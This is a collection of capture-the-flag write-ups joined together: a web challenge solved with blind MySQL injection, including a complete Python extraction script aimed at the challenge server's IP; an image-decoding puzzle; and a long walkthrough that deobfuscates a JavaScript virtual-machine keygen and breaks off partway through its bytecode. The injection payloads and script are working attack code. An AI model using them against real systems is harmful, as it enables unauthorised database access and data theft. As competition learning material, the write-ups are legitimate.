RewriteRule showInformation/(.+) /showInformation.php?informationID=$1 [L]RewriteRule infoSubmit /informationSubmit.php [L]RewriteRule notConfirmedInformation/(.+) /notConfirmedInformation.php?informationID=$1 [L]RewriteRule getAttachment/(.+) /getAttachment.php?fileName=$1 [L]RewriteRule dataSubmitted/(.+) /dataSubmitted.php [L]RewriteRule adminer-4.3.1-en.php adminer-4.3.1-en.php [L]
#RewriteRule "searchData/(.+)" "http://gsa.dataStorage.domain/0/portalSearch/?searchURL=$1" [L]#RewriteRule "API/(.+)" "http://gsa.API.domain/api/$1" [L]
RewriteCond %{REQUEST_FILENAME} !-dRewriteCond %{REQUEST_FILENAME} !-fRewriteRule . index.php [L]
RewriteCond %{THE_REQUEST} \.php[\ /?].*HTTP/ [NC]RewriteRule ^.*$ index.php [L]
```
Revealing two new hosts (next questions), and some hidden path such as `notConfirmedInformation/` and etc. `infoSubmit/` path allowed to insert new information and `notConfirmedInformation/` allowed to see the information submitted. After some strugling at this stage, I found that `notConfirmedInformation/{id}` was prone to MySQL injection. However, the injection was tricky because as I deduced:
+ There was two query, first loads the page and second upgrades the view number.+ The first one was totally secured, the second one had injection though. **The SQLi test was easy**+ The WAF was annoying, it blocked queries had some keywords such as `union` and replaced some characters such as `space`
###### SQLi test:http://178.62.34.76/notConfirmedInformation/265940057+and+1=1http://178.62.34.76/notConfirmedInformation/265940057+and+1=2
Page gets loaded but `Visited` ony upgraded in first request
###### The flag:Finnaly, I wrote a python code to exploit the injection hole:
```import requestsimport reimport sys
regex = re.compile("Visited: (\d+)</div>")
if len(sys.argv) != 2: print '' print '[>] Usage: python {} [id]'.format(sys.argv[0]) print '[>] Example: python {} 265940057'.format(sys.argv[0]) print '' sys.exit()
qq = "http://178.62.34.76/notConfirmedInformation/{}".format(sys.argv[1])body = requests.get(qq).text
visited = int(regex.findall(body)[0])
#q = "(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))"#q = "(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='flag'))"q = "(select(flag)from(flag))"
out = ""for i in range(1,30): for c in range(31,126): qq = "http://178.62.34.76/notConfirmedInformation/"+sys.argv[1]+"-if(ord(mid("+q+","+str(i)+",1))="+str(c)+",0,2)" #print qq body = requests.get(qq).text #print body visited2 = int(regex.findall(body)[0])
if visited + 1 == visited2: sys.stdout.write(chr(c)) sys.stdout.flush() visited = visited2 break if visited2==visited: pass else: pass```
The Flag: ASIS{SQLi_sT1lL_Ex1sT5_G0od_j0B}
###### Contacthttps://twitter.com/yshahinzadeh |
[Algorithm](encrypt.py) is very hard and works too long. It codes every pixel into 64 bytes long hash and joins them into the one string. It means, that we can just split [encrypted data](encrypted.txt) into [blocks of 64 chars](encrypted_splited.txt). After calculating we can see that there are just 17 different hashs (pixels) there.
Now we can replace them by RGB-tuples and find the right image size, knowing the number of pixels in the image.
```pythonfrom PIL import Imageimport numpy as npfrom collections import Counter
color_hash = [ '709e80c88487a2411e1ee4dfb9f22a861492d20c4765150c0c794abd70f8147c', 'ac205167ca956b408a925c3854fdd82ffa43672263ae7dba5a68b29d9a81fa56', '2ec847d8a31a988b3117a5095dae74f490448223f035ec7eddef6768b91a9028', '8ae40a3583aef6697d2c2eff57eb915ed0bda54aaa92812ad97982743ac06f37', 'ab5ab0fedc83e5a1a1871c427eccbcd3cf0fc1bb74a82a552adfd9b4e57f391b', '2ac9a6746aca543af8dff39894cfe8173afba21eb01c6fae33d52947222855ef', 'f1b901847390b0ed7e374e7c1e464ec17b46a427c487a5ad6cbd2906405083d5', '5ae7e6a42304dc6e4176210b83c43024f99a0bce9a870c3b6d2c95fc8ebfb74c', 'b9e8d0a22760b87553c0b9c55ae93058bf8d4389c87765488cea1637e94bd9b6', 'a30cb1d8569c5c141b2ade1caf57038b2be46c9bc4939c8f702a0ff4fcecfd77', '91737e71235959a56c524997e18d6d14d6ddd714ed2a450a24f765255a2733ee', '700af1feb55ab0613bdbc466815643743156af4e869120244eb05ca72c45002c', '0aad7da77d2ed59c396c99a74e49f3a4524dcdbcb5163251b1433d640247aeb4', '7b108f7c5c6f1507c4ffe2275dd9b8e25a71d175a5a9d3e19aeec3f27d82caf1', '204164d223b35aabb54ea32b1d14d8bb5a8df56f7c81f3304987fa4193426729', 'c4289629b08bc4d61411aaa6d6d4a0c3c5f8c1e848e282976e29b6bed5aeedc7', '5ae0d5195906bfc4f70167cf171ae4d08e7376aa246977acf172187d5d384f10']
color_val = [ (255,255,255), (127, 127, 0), (64, 255, 0), (0, 255, 255), (0, 64, 255), (255, 0, 255), (255, 0, 0), (255, 255, 255), (0, 0, 0), (204, 153, 0), (255, 102, 153), (204, 255, 102), (102, 153, 0), (102, 153, 153), (11,124,8), (18,4,128), (202, 183, 19)]
colors = dict(zip(color_hash, color_val))
with open('encrypted_splited.txt', 'r') as f: data = [x.strip('\n') for x in f.readlines()]
data = list(map(lambda x:colors[x], data))img = Image.new('RGB', (351,21))img.putdata(data)img.show()``` |
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# Web Keygen Write-up---
### Initial Exposure
The first thing I did was download the html file as `webKeygen.html` so I could look at the source code locally. Looking at the Javascript I noticed that many of the variables and function names were replaced with strings containing the word `Co` repeated different numbers of times. This effectively obfuscates the code, so we will have to clean that up bfeore we can do any code analysis. Pressing the button calls onSubmit() which calls getFlag(). It looks like pressing submit creates an aleart with either `Failed!` with the wrong password or, presumably, the flag with the right password. Then I tried passwords of verying lengths and discovered that alerts don't generate unless the input is 45 characters or less. The input looked like it could be any ASCII character. This was about all of the information I could get without cleaning up the code.
### Deobfuscation
The names of variables and functions had been replaced with different repititions of `Co`. To start with I ran the following python script to try and clean it up so that, for example, `CoCoCoCoCoCo` would be replaced with `x6x`. This will make it much easier to quickly scan the document.
```python#!/usr/bin/python2f = open("webKeygen.html","r")fileData = f.read()f.close()f = open("webKeygen.html","w")r = list(range(100))r.reverse()for i in r: co = "Co"*i xx = "x",i,"x" fileData = fileData.replace(co,xx)f.write(fileData)f.close()```
This created the following file. It's much easier to read to understand what's happening.
```javascriptclass x1x{ constructor(x2x) { this.x3x = x2x.x3x; this.x4x = x2x.x5x(); this.x6x = x2x.x5x(); this.x7x = x2x.x5x(); } x8x() { switch( this.x6x ) { case 1: return this.x3x.getUint8(this.x4x)*this.x7x; case 2: return this.x3x.getUint16(this.x4x)*this.x7x; case 4: return this.x3x.getUint32(this.x4x)*this.x7x; } } x9x(x10x) { switch( this.x6x ) { case 1: this.x3x.setUint8(this.x4x,x10x); break; case 2: this.x3x.setUint16(this.x4x,x10x); break; case 4: this.x3x.setUint32(this.x4x,x10x); break; } this.x7x = 1; } }
class x11x{ constructor(x2x) { this.x10x = x2x.x12x(); }
x8x() { return this.x10x; } x9x(x10x) { }}
class x13x{ constructor(x2x) { this.x4x = 0; var x14x = x2x.x5x(); while( x14x-- ) { this.x4x += x2x.x15x().x8x(); } this.x4x &= 0xFFFFFFFF; this.x16x = x2x.x16x; this.x3x = x2x.x3x; }}
class x17x extends x13x{
x8x() { return this.x16x.getUint8(this.x4x); } x9x(x10x) { this.x16x.setUint8(this.x4x,x10x); } }
class x18x extends x13x{
x8x() { return this.x16x.getUint32(this.x4x); } x9x(x10x) { this.x16x.setUint32(this.x4x,x10x); } }
class x19x{ constructor(x20x) { this.x16x = new DataView(x20x.buffer); this.x21x = 0; this.x3x = new DataView(new ArrayBuffer(32)); var x22x = x20x.length; this.x3x.setInt32(16,x22x); this.x23x = false; this.x24x = false; } x12x() { var x10x = this.x16x.getUint32(this.x21x); this.x21x += 4; return x10x; } x5x() { var x10x = this.x16x.getUint8(this.x21x); this.x21x++; return x10x; } x15x() { var x25x = this.x5x(); switch(x25x ) { case 1: return new x1x(this); case 2: return new x11x(this); case 3: return new x17x(this); case 4: return new x18x(this); } return null; } x26x(x10x) { var x22x = this.x3x.getInt32(16) - 4; this.x3x.setInt32(16,x22x); this.x16x.setUint32(x22x,x10x) return x22x; } x27x() { var x22x = this.x3x.getInt32(16); var x10x = this.x16x.getUint32(x22x); x22x += 4; this.x3x.setInt32(16,x22x); return x10x; }
x28x() { var x29x = this.x5x(); switch(x29x) { case 4: var x30x = this.x15x(); var x31x = x30x.x8x(); this.x26x(this.x21x); this.x21x = x31x; break; case 2: var x30x = this.x15x(); var x32x = this.x15x(); x30x.x9x(x32x.x8x()); break; case 8: var x30x = this.x15x(); this.x21x = x30x.x8x(); break; case 10: var x30x = this.x15x(); var x32x = this.x15x(); x30x.x9x(x32x.x8x()>>>0); break; case 5: var x30x = this.x15x(); var x32x = this.x15x(); var x31x = x30x.x8x() + x32x.x8x(); this.x24x = new Boolean(x31x>>32);
x30x.x9x(x31x); break; case 18: var x30x = this.x15x(); var x32x = this.x15x(); var x31x = x30x.x8x() >>> x32x.x8x(); x30x.x9x(x31x); break; case 11: var x30x = this.x15x(); var x32x = this.x15x(); var x31x = x30x.x8x() ^ x32x.x8x(); x30x.x9x(x31x); break; case 3: var x30x = this.x15x(); var x32x = this.x15x(); var x31x = x30x.x8x() + ((~x32x.x8x()) + 1); this.x24x = new Boolean(x31x>>32); x30x.x9x(x31x); break; case 15: var x30x = this.x15x(); var x31x = this.x27x(); this.x21x = x31x; break; case 14: var x30x = this.x15x(); var x31x = this.x27x(); x30x.x9x(x31x); break; case 17: var x30x = this.x15x(); var x32x = this.x15x(); var x31x = x30x.x8x() & x32x.x8x(); x30x.x9x(x31x); break; case 9: var x30x = this.x15x();
if(this.x24x == false) { this.x21x = x30x.x8x(); } break; case 1: var x30x = this.x15x(); this.x26x(x30x.x8x()); break; case 6: var x30x = this.x15x(); var x32x = this.x15x(); this.x23x = (x30x.x8x() == x32x.x8x()); var x31x = x30x.x8x() + ((~x32x.x8x()) + 1); this.x24x = new Boolean(x31x>>32); break; case 7: var x30x = this.x15x(); if(this.x23x == false) { this.x21x = x30x.x8x(); } break; case 13: var x30x = this.x15x(); var x32x = this.x15x(); var x31x = x30x.x8x() | x32x.x8x(); x30x.x9x(x31x); break; case 16: var x30x = this.x15x(); if(this.x23x == true) { this.x21x = x30x.x8x(); } break; case 12: var x30x = this.x15x(); var x10x = (this.x3x.getInt32(8) << 32) | this.x3x.getInt32(0); var x22x = x10x / x30x.x8x(); this.x3x.setInt32(0,x22x); var x22x = x10x % x30x.x8x(); this.x3x.setInt32(8,x22x); break; } }}
function GetFlag(x33x){ var x20x = new Uint8Array(/*Removed to reduce length*/); var x2x = new x19x(x20x); var x22x = x2x.x3x.getInt32(16) - 38; x2x.x3x.setInt32(16,x22x); var x34x = x22x; var x22x = x2x.x3x.getInt32(16) - 8; x2x.x3x.setInt32(16,x22x); var x35x = x22x;
x20x.set(new TextEncoder("utf-8").encode(x33x),x35x);
x2x.x26x(x34x); x2x.x26x(x35x); x2x.x26x(0xFFFFFFFF);
try { while(x2x.x21x != 0xFFFFFFFF) { x2x.x28x(); } } catch(e) { }
if ( x2x.x3x.getInt32(0) >= 0 ) return new TextDecoder("utf-8").decode(x20x.subarray(x34x,x34x + 37)); return "Failed";}
function OnSubmit(){ alert(GetFlag(document.getElementById("password").value)); return False; }```
### Code Analysis
Analysing the code, we can see that there's a large switch statement in `x19x.x28x()` that performs different functions based on the return value of `x19x.x5x()`. That function gets its value by looking in an array of 8 bit numbers named `x16x` and getting the `x21x`th one, then incrementing `x21x`. Looking to see where `x16x` gets created takes us to the constructor. `x16x` is a DataView for an array passed into the constructor. Looking in `GetFlag()` we see that the array that is passed in is the large 8-bit array.
So we have an object that looks at a number in an array and performs some task depending on that number. Then the object looks at the next number in the list, and continues on until it reaches 0xFFFFFFFF. What's more is that the list of numbers has a large amount of 0's at the end. Putting this together, my hypothesis was that the `x28x()` function is acting as a CPU, with the array as the memory (The 0's at the end are acting as a stack) and `x21x` as the program counter. At the end it checks `x2x.x3x.getInt32(0)` to see if it's positive and if it is it returns the data in `x20x` from `x34x` to `x34x+37` which is probably the location of the flag in memory.
If you're following along, I would highly recommend Find and Replacing the `xXXx` strings with more descriptive names. Here is my renamed file.
```javascriptclass Register{ constructor(arrayReader) { this.registers = arrayReader.registers; this.location = arrayReader.getInt8FromHeap(); this.byteLength = arrayReader.getInt8FromHeap(); this.multiplier = arrayReader.getInt8FromHeap(); } get() { switch( this.byteLength ) { case 1: return this.registers.getUint8(this.location)*this.multiplier; case 2: return this.registers.getUint16(this.location)*this.multiplier; case 4: return this.registers.getUint32(this.location)*this.multiplier; } } set(val) { switch( this.byteLength ) { case 1: this.registers.setUint8(this.location,val); break; case 2: this.registers.setUint16(this.location,val); break; case 4: this.registers.setUint32(this.location,val); break; } this.multiplier = 1; } }
class Immediate{ constructor(arrayReader) { this.val = arrayReader.getInt32FromHeap(); }
get() { return this.val; } set(val) { }}
class Pointer{ constructor(arrayReader) { this.location = 0; var valcount = arrayReader.getInt8FromHeap(); //Sums up the next valcount numbers and makes it 32 bits. This is now a Register to the real data while( valcount-- ) { this.location += arrayReader.tinySwitch().get(); } this.location &= 0xFFFFFFFF; this.bytearrayView = arrayReader.bytearrayView; this.registers = arrayReader.registers; }}
class int8Pointer extends Pointer{
get() { return this.bytearrayView.getUint8(this.location); } set(val) { this.bytearrayView.setUint8(this.location,val); } }
class int32Pointer extends Pointer{
get() { return this.bytearrayView.getUint32(this.location); } set(val) { this.bytearrayView.setUint32(this.location,val); } }
class ArrayReader{ constructor(bytearray) { this.bytearrayView = new DataView(bytearray.buffer); this.programCounter = 0; this.registers = new DataView(new ArrayBuffer(32));//Set to empty 32 length array var arraySize = bytearray.length; this.registers.setInt32(16,arraySize);//Set registers[16] to size of array this.isEqual = false; this.isZero = false; } getInt32FromHeap() { var val = this.bytearrayView.getUint32(this.programCounter); this.programCounter += 4; return val; } getInt8FromHeap() { var val = this.bytearrayView.getUint8(this.programCounter); this.programCounter++; return val; } tinySwitch() { var byte = this.getInt8FromHeap(); switch(byte ) { case 1: return new Register(this); case 2: return new Immediate(this); case 3: return new int8Pointer(this); case 4: return new int32Pointer(this); } return null; } pushInt32ToStack(val) { var temp = this.registers.getInt32(16) - 4; this.registers.setInt32(16,temp); this.bytearrayView.setUint32(temp,val) return temp; } popFromStack() { var temp = this.registers.getInt32(16); var val = this.bytearrayView.getUint32(temp); temp += 4; this.registers.setInt32(16,temp); return val; }
execute() { var switchVal = this.getInt8FromHeap(); switch(switchVal) { case 4: var dataGrabber = this.tinySwitch(); var dataGrabberVal = dataGrabber.get(); this.pushInt32ToStack(this.programCounter); this.programCounter = dataGrabberVal; break; case 2: var dataGrabber = this.tinySwitch(); var dataGrabber2 = this.tinySwitch(); dataGrabber.set(dataGrabber2.get()); break; case 8: var dataGrabber = this.tinySwitch(); this.programCounter = dataGrabber.get(); break; case 10: var dataGrabber = this.tinySwitch(); var dataGrabber2 = this.tinySwitch(); dataGrabber.set(dataGrabber2.get()>>>0); break; case 5: var dataGrabber = this.tinySwitch(); var dataGrabber2 = this.tinySwitch(); var dataGrabberVal = dataGrabber.get() + dataGrabber2.get(); this.isZero = new Boolean(dataGrabberVal>>32);
dataGrabber.set(dataGrabberVal); break; case 18: var dataGrabber = this.tinySwitch(); var dataGrabber2 = this.tinySwitch(); var dataGrabberVal = dataGrabber.get() >>> dataGrabber2.get(); dataGrabber.set(dataGrabberVal); break; case 11: var dataGrabber = this.tinySwitch(); var dataGrabber2 = this.tinySwitch(); var dataGrabberVal = dataGrabber.get() ^ dataGrabber2.get(); dataGrabber.set(dataGrabberVal); break; case 3: var dataGrabber = this.tinySwitch(); var dataGrabber2 = this.tinySwitch(); var dataGrabberVal = dataGrabber.get() + ((~dataGrabber2.get()) + 1); this.isZero = new Boolean(dataGrabberVal>>32); dataGrabber.set(dataGrabberVal); break; case 15: var dataGrabber = this.tinySwitch(); var dataGrabberVal = this.popFromStack(); this.programCounter = dataGrabberVal; break; case 14: var dataGrabber = this.tinySwitch(); var dataGrabberVal = this.popFromStack(); dataGrabber.set(dataGrabberVal); break; case 17: var dataGrabber = this.tinySwitch(); var dataGrabber2 = this.tinySwitch(); var dataGrabberVal = dataGrabber.get() & dataGrabber2.get(); dataGrabber.set(dataGrabberVal); break; case 9: var dataGrabber = this.tinySwitch();
if(this.isZero == false) { this.programCounter = dataGrabber.get(); } break; case 1: var dataGrabber = this.tinySwitch(); this.pushInt32ToStack(dataGrabber.get()); break; case 6: var dataGrabber = this.tinySwitch(); var dataGrabber2 = this.tinySwitch(); this.isEqual = (dataGrabber.get() == dataGrabber2.get()); var dataGrabberVal = dataGrabber.get() + ((~dataGrabber2.get()) + 1); this.isZero = new Boolean(dataGrabberVal>>32); break; case 7: var dataGrabber = this.tinySwitch(); if(this.isEqual == false) { this.programCounter = dataGrabber.get(); } break; case 13: var dataGrabber = this.tinySwitch(); var dataGrabber2 = this.tinySwitch(); var dataGrabberVal = dataGrabber.get() | dataGrabber2.get(); dataGrabber.set(dataGrabberVal); break; case 16: var dataGrabber = this.tinySwitch(); if(this.isEqual == true) { this.programCounter = dataGrabber.get(); } break; case 12: var dataGrabber = this.tinySwitch(); var val = (this.registers.getInt32(8) << 32) | this.registers.getInt32(0); var temp = val / dataGrabber.get(); this.registers.setInt32(0,temp); var temp = val % dataGrabber.get(); this.registers.setInt32(8,temp); break; } }}
function GetFlag(password){ var bytearray = new Uint8Array(/*Still Removed*/); var arrayReader = new ArrayReader(bytearray); var temp = arrayReader.registers.getInt32(16) - 38; arrayReader.registers.setInt32(16,temp); var posFlag = temp; var temp = arrayReader.registers.getInt32(16) - 8; arrayReader.registers.setInt32(16,temp); var posPass = temp;
bytearray.set(new TextEncoder("utf-8").encode(password),posPass);
arrayReader.pushInt32ToStack(posFlag); arrayReader.pushInt32ToStack(posPass); arrayReader.pushInt32ToStack(0xFFFFFFFF);
try { while(arrayReader.programCounter != 0xFFFFFFFF) { arrayReader.execute(); } } catch(e) { }
if ( arrayReader.registers.getInt32(0) >= 0 ) return new TextDecoder("utf-8").decode(bytearray.subarray(posFlag,posFlag + 37)); return "Failed";}
function OnSubmit(){ alert(GetFlag(document.getElementById("password").value)); return False; }```
Here we can see why the maximum length of the imput field was 45. Anything longer and the string would be out of bounds of the memory. The last 45 bytes of the memory will end up looking like: `PPPPPPPPFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF` where P is the password (length 8) and F is the flag. The large switch statement, now in the function named `execute()` acts as our instruction decoder.
There are also 4 data retrieval objects: Register (this also lets the value be multiplied), Immediate, int32 Pointer, int8 Pointer. It's important to note that the pointers allow for multiple values to be added up and the sum to be dereferenced. Here's a reference table for each of the data types with the opcodes.
Type|Opcode|Parameter 1|Parameter 2|Parameter 3-|-|-|-|-Register|1|Register Number|Byte Length|MultiplierImmediate|2|Value|N/A|N/A*Int32|3|# Of Values to Add|Value to Add|More Values...*Int8|4|# Of Values to Add|Value to Add|More Values...
### Instruction Decoding
Starting at the top of the switch statement, the opcodes can be determined by seeing what each one does
```javascriptcase 4: var dataGrabber = this.tinySwitch(); var dataGrabberVal = dataGrabber.get(); this.pushInt32ToStack(this.programCounter); this.programCounter = dataGrabberVal; break;```This takes one value, pushed the program counter to the stack and sets the program counter to the value. In other words, this is `call````javascriptcase 2: var dataGrabber = this.tinySwitch(); var dataGrabber2 = this.tinySwitch(); dataGrabber.set(dataGrabber2.get()); break;```This takes two values, and sets one to the value of the other. In other words, this is `mov````javascriptcase 8: var dataGrabber = this.tinySwitch(); this.programCounter = dataGrabber.get(); break;```This takes one value, and sets the program counter to that value without pushing it to the stack. In other words, this is `jmp````javascriptcase 10: var dataGrabber = this.tinySwitch(); var dataGrabber2 = this.tinySwitch(); dataGrabber.set(dataGrabber2.get()>>>0); break;```This takes two values, and sets one to the sign extended value of the other.In other words, this is `movsx````javascriptcase 5: var dataGrabber = this.tinySwitch(); var dataGrabber2 = this.tinySwitch(); var dataGrabberVal = dataGrabber.get() + dataGrabber2.get(); this.isZero = new Boolean(dataGrabberVal>>32);
dataGrabber.set(dataGrabberVal); break;```This takes two values, and sets one to itself plus the other.It also sets the isZero flag as appropriateIn other words, this is `add````javascriptcase 18: var dataGrabber = this.tinySwitch(); var dataGrabber2 = this.tinySwitch(); var dataGrabberVal = dataGrabber.get() >>> dataGrabber2.get(); dataGrabber.set(dataGrabberVal); break;```This takes two values, and arithmetically shifts one right by the value of the other.In other words, this is `sar````javascriptcase 11: var dataGrabber = this.tinySwitch(); var dataGrabber2 = this.tinySwitch(); var dataGrabberVal = dataGrabber.get() ^ dataGrabber2.get(); dataGrabber.set(dataGrabberVal); break;```This takes two values, and sets one to itself xor'd with the other.In other words, this is `xor````javascriptcase 3: var dataGrabber = this.tinySwitch(); var dataGrabber2 = this.tinySwitch(); var dataGrabberVal = dataGrabber.get() + ((~dataGrabber2.get()) + 1); this.isZero = new Boolean(dataGrabberVal>>32); dataGrabber.set(dataGrabberVal); break;```This takes two values, and sets one to itself minus the other.It also sets the isZero flag as appropriateIn other words, this is `sub````javascriptcase 15: var dataGrabber = this.tinySwitch(); var dataGrabberVal = this.popFromStack(); this.programCounter = dataGrabberVal; break;```This takes one value, and sets the program counter to a popped number from the stack.In other words, this is `ret````javascriptcase 14: var dataGrabber = this.tinySwitch(); var dataGrabberVal = this.popFromStack(); dataGrabber.set(dataGrabberVal); break;```This takes one value, and sets its value to the top of the stack.In other words, this is `pop````javascriptcase 17: var dataGrabber = this.tinySwitch(); var dataGrabber2 = this.tinySwitch(); var dataGrabberVal = dataGrabber.get() & dataGrabber2.get(); dataGrabber.set(dataGrabberVal); break;```This takes two values, and sets one to itself and other.In other words, this is `and````javascriptcase 9: var dataGrabber = this.tinySwitch();
if(this.isZero == false) { this.programCounter = dataGrabber.get(); } break;```This takes one value, and if the zero flag is not set, the program counter is set to the input value.In other words, this is `brnz````javascriptcase 1: var dataGrabber = this.tinySwitch(); this.pushInt32ToStack(dataGrabber.get()); break;```This takes one values, and pushes it onto the stack.In other words, this is `push````javascriptcase 6: var dataGrabber = this.tinySwitch(); var dataGrabber2 = this.tinySwitch(); this.isEqual = (dataGrabber.get() == dataGrabber2.get()); var dataGrabberVal = dataGrabber.get() + ((~dataGrabber2.get()) + 1); this.isZero = new Boolean(dataGrabberVal>>32); break;```This takes two values, and sets isEqual and isZero flags as applicableIn other words, this is `tst````javascriptcase 7: var dataGrabber = this.tinySwitch(); if(this.isEqual == false) { this.programCounter = dataGrabber.get(); } break;```This takes one value, and if the equal flag is not set, the program counter is set to the input value.In other words, this is `brne````javascriptcase 13: var dataGrabber = this.tinySwitch(); var dataGrabber2 = this.tinySwitch(); var dataGrabberVal = dataGrabber.get() | dataGrabber2.get(); dataGrabber.set(dataGrabberVal); break;```This takes two values, and sets one to itself or other.In other words, this is `or````javascriptcase 16: var dataGrabber = this.tinySwitch(); if(this.isEqual == true) { this.programCounter = dataGrabber.get(); } break;```This takes one value, and if the zero flag is not set, the program counter is set to the input value.In other words, this is `breq````javascriptcase 12: var dataGrabber = this.tinySwitch(); var val = (this.registers.getInt32(8) << 32) | this.registers.getInt32(0); var temp = val / dataGrabber.get(); this.registers.setInt32(0,temp); var temp = val % dataGrabber.get(); this.registers.setInt32(8,temp); break;```This takes one value, then divides the value in a 64 bit register `(this.registers.getInt32(8) << 32) | this.registers.getInt32(0)` by that value. The result goes in 0 and the remainder goes in 8. In other words, this is `div`
Opcode|Name|#Params-|-|-1|push|12|mov|23|sub|24|call|15|add|26|tst|27|brne|18|brk|19|brnz|110|movsx|211|xor|212|div|113|or|214|pop|115|ret|116|breq|117|and|218|sar|2
### Conversion into Assembly
So now that we know each opcode, how many parameters they consume, and how the data retrieval objects work, we can convert the long byte string into pseudo-assembly. To do this I stored the byte array in ba.txt and wrote a python script to step through the bytes and figure out whe assembly from the bytes. It also adds program counter numbers on the left so we can better synchronise it with the running program. The byte-code that translates into the assembly is on the right
ba.txt```1,1,20,4,1,2,1,20,4,1,1,16,4,1,3,1,16,4,1,2,0,0,0,44,1,1,24,4,1,2,3,2,2,255,255,255,212,1,20,4,1,2,0,0,0,115,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,1,2,0,0,0,20,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,2,2,0,0,0,32,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,3,2,0,0,0,23,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,4,2,0,0,0,2,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,5,2,0,0,0,98,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,6,2,0,0,0,42,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,7,2,0,0,0,119,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,8,2,0,0,0,121,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,9,2,0,0,0,29,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,10,2,0,0,0,33,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,11,2,0,0,0,113,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,12,2,0,0,0,112,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,13,2,0,0,0,103,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,14,2,0,0,0,94,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,15,2,0,0,0,6,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,16,2,0,0,0,0,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,17,2,0,0,0,30,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,18,2,0,0,0,91,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,19,2,0,0,0,113,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,20,2,0,0,0,125,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,21,2,0,0,0,103,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,22,2,0,0,0,95,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,23,2,0,0,0,113,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,24,2,0,0,0,123,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,25,2,0,0,0,111,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,26,2,0,0,0,80,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,27,2,0,0,0,2,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,28,2,0,0,0,119,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,29,2,0,0,0,103,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,30,2,0,0,0,90,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,31,2,0,0,0,115,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,32,2,0,0,0,9,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,33,2,0,0,0,25,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,34,2,0,0,0,39,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,35,2,0,0,0,1,2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,36,2,0,0,0,5,1,2,0,0,0,8,2,1,0,4,1,4,2,2,0,0,0,8,1,20,4,1,1,1,0,4,1,1,2,18,52,86,120,4,2,0,0,4,199,5,1,16,4,1,2,0,0,0,12,6,1,0,4,1,2,51,229,174,64,7,2,0,0,4,164,2,4,2,2,255,255,255,252,1,20,4,1,2,0,0,0,0,2,4,2,2,255,255,255,252,1,20,4,1,2,0,0,0,0,8,2,0,0,3,217,2,1,4,4,1,4,2,2,255,255,255,252,1,20,4,1,5,1,4,4,1,2,0,0,0,1,2,4,2,2,255,255,255,252,1,20,4,1,1,4,4,1,6,4,2,2,255,255,255,252,1,20,4,1,2,0,0,0,37,9,2,0,0,4,149,2,1,8,4,1,4,2,2,255,255,255,252,1,20,4,1,10,1,4,4,1,3,3,2,255,255,255,212,1,20,4,1,1,8,4,1,2,1,0,4,1,4,2,2,255,255,255,252,1,20,4,1,11,1,8,4,1,1,8,4,1,2,1,24,4,1,2,0,0,0,8,12,1,24,4,1,2,1,0,4,1,4,2,2,0,0,0,8,1,20,4,1,10,1,8,4,1,3,2,1,0,4,1,1,8,4,1,11,1,4,4,1,1,8,4,1,2,1,0,4,1,4,2,2,0,0,0,12,1,20,4,1,5,1,0,4,1,4,2,2,255,255,255,252,1,20,4,1,2,3,1,1,0,4,1,1,7,1,1,8,2,0,0,3,175,11,1,0,4,1,1,0,4,1,8,2,0,0,4,174,13,1,0,4,1,2,255,255,255,255,14,1,24,4,1,2,1,16,4,1,1,20,4,1,14,1,20,4,1,15,2,0,0,0,0,1,1,20,4,1,2,1,20,4,1,1,16,4,1,3,1,16,4,1,2,0,0,4,8,2,4,2,2,255,255,251,248,1,20,4,1,2,0,0,0,0,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,4,2,119,7,48,150,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,8,2,238,14,97,44,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,12,2,153,9,81,186,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,16,2,7,109,196,25,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,20,2,112,106,244,143,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,24,2,233,99,165,53,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,28,2,158,100,149,163,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,32,2,14,219,136,50,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,36,2,121,220,184,164,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,40,2,224,213,233,30,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,44,2,151,210,217,136,2,4,3,2,255,255,251,248